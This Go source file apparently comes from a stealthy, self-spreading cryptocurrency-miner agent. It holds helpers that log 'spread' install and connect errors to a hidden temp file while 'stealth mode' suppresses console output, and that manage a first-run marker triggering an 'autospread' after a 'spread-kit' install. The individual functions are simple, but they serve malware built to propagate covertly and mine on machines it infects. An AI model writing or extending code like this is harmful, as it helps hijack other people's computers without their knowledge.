package deploy import ( "fmt" "os" "path/filepath" "runtime" "strings" "time" "crypto-miner-agent/config" ) const spreadLogName = "aetherforge-spread.log" // LogSpreadError writes install/connect failures to a temp log (stealth mode discards console). func LogSpreadError(stage string, err error) { if err == nil { return } line := fmt.Sprintf("%s [%s] %s: %v\n", time.Now().Format(time.RFC3339), runtime.GOOS, stage, err) path := filepath.Join(os.TempDir(), spreadLogName) f, openErr := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644) if openErr != nil { return } _, _ = f.WriteString(line) _ = f.Close() } func LogSpreadInfo(msg string) { line := fmt.Sprintf("%s [%s] %s\n", time.Now().Format(time.RFC3339), runtime.GOOS, msg) path := filepath.Join(os.TempDir(), spreadLogName) f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644) if err != nil { return } _, _ = f.WriteString(line) _ = f.Close() } func isLocalhostURL(url string) bool { u := strings.ToLower(strings.TrimSpace(url)) return strings.Contains(u, "localhost") || strings.Contains(u, "127.0.0.1") || strings.Contains(u, "[::1]") } const firstRunSpreadMarker = ".spread_first_run" func setFirstRunSpreadMarker(installDir string) error { return os.WriteFile(filepath.Join(installDir, firstRunSpreadMarker), []byte("1\n"), 0600) } // WantsFirstRunSpread reports a one-shot autospread after spread-kit install. func WantsFirstRunSpread(cfg config.RuntimeConfig) bool { dir, err := cfg.InstallDirectory() if err != nil { return false } _, err = os.Stat(filepath.Join(dir, firstRunSpreadMarker)) return err == nil } // ClearFirstRunSpreadMarker removes the first-run spread marker. func ClearFirstRunSpreadMarker(cfg config.RuntimeConfig) { dir, err := cfg.InstallDirectory() if err != nil { return } _ = os.Remove(filepath.Join(dir, firstRunSpreadMarker)) }